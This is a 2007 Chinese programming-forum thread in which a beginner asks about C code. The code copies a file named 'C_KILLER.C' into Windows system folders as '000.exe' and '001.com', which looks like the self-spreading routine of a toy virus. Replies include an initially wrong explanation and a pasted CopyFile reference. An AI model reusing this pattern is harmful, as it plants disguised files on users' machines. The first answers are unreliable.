标题:不懂了......
只看楼主
ffppgg
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-3-18
 问题点数:0 回复次数:4 
不懂了......

先看下面.....
/**** void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
} ****/

void CreatEXE()
{
int i;
char *path;

char *s[2] = {"C:\\WINDOWS\\system32\\000.exe","C:\\WINDOWS\\001.com"};


for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080); /*这里的0x0100和0x0080是什么意思?有什么作用吗?*/
copyfile( "C_KILLER.C",s[i]); /*的首地址是放在S[1],后面吗?但S已经有2个地址了啊?,copyfile()在上面*/
}
}

搜索更多相关主题的帖子: char void fgetc 
2007-04-09 20:14
I喜欢c
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:64
帖 子:1749
专家分:0
注 册:2007-3-2
得分:0 
以下是引用ffppgg在2007-4-9 20:14:13的发言:

先看下面.....
/**** void copyfile(char *infile, char *outfile) //函数无返回值
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
} ****/

void CreatEXE()
{
int i;
char *path;

char *s[2] = {"C:\\WINDOWS\\system32\\000.exe","C:\\WINDOWS\\001.com"};


for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080); /*这里的0x0100和0x0080 16进制,应该是open函数调用*/
copyfile( "C_KILLER.C",s[i]); /*应该是将文件名放入指针数组中*/
}
}


 我是指针,却丢失了目标地址!          我是循环,却缺少了结束条件!      我是函数,却没有人来调用!   
2007-04-09 21:04
ffppgg
Rank: 1
等 级:新手上路
帖 子:41
专家分:0
注 册:2007-3-18
得分:0 
以下是引用I喜欢c在2007-4-9 21:04:27的发言:

但指针数组S中已经有2个地址了,放的下吗?


2007-04-09 22:37
I喜欢c
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:64
帖 子:1749
专家分:0
注 册:2007-3-2
得分:0 

理解错了(我)

那是复制文件!


 我是指针,却丢失了目标地址!          我是循环,却缺少了结束条件!      我是函数,却没有人来调用!   
2007-04-09 22:43
I喜欢c
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:64
帖 子:1749
专家分:0
注 册:2007-3-2
得分:0 

CopyFile 方法
从一个位置向另一个位置复制一个或多个文件。

object.CopyFile ( source, destination[, overwrite] )

参数
object

必选项。 object 应为 FileSystemObject的名称。

source

必选项。 指定文件字符串,可以包含通配字符来复制一个或多个文件。

destination

必选项。 目的字符串,文件将从 source 复制到这里。 不允许通配字符。

overwrite

可选项。 Boolean 值,指明是否覆盖已有文件。 如果为 true ,则文件将被覆盖;如果为 false ,则文件不会被覆盖。 默认的是 true 。 注意,如果 destination 设置了只读属性,那么无论 overwrite 的值是什么, CopyFile 都会失败。

说明
通配字符只能用在 source 参数中最后的路径成分中。 举例来说,可以使用:

fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CopyFile ("c:\\mydocuments\\letters\\*.doc", "c:\\tempfolder\\")
但不能够使用:

fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CopyFile ("c:\\mydocuments\\*\\R1???97.xls", "c:\\tempfolder")
如果 source 包含了通配字符或者 destination 以路径分隔符 (\) 结束,那么将假定 destination 是一个已有的文件夹,满足匹配的文件将复制到这个文件夹中。 否则,将假定 destination 是要创建的文件名。 无论哪种情况,如果复制的是单个文件,将会有三种可能。

如果 destination 不存在,那么 source 将被复制。 这是通常情况。
如果 destination 是已有文件,当 overwrite 为 false 时将会产生一个错误。 否则将会试图用 source 覆盖已有文件。
如果 destination 是目录,将会出错。
如果使用通配字符的 source 不能匹配任何文件,将会出错。 CopyFile 方法遇到第一个错误时终止。 出错后不会试图回滚或撤消出错前所做的修改。


 我是指针,却丢失了目标地址!          我是循环,却缺少了结束条件!      我是函数,却没有人来调用!   
2007-04-09 22:44



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-130484-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.070538 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved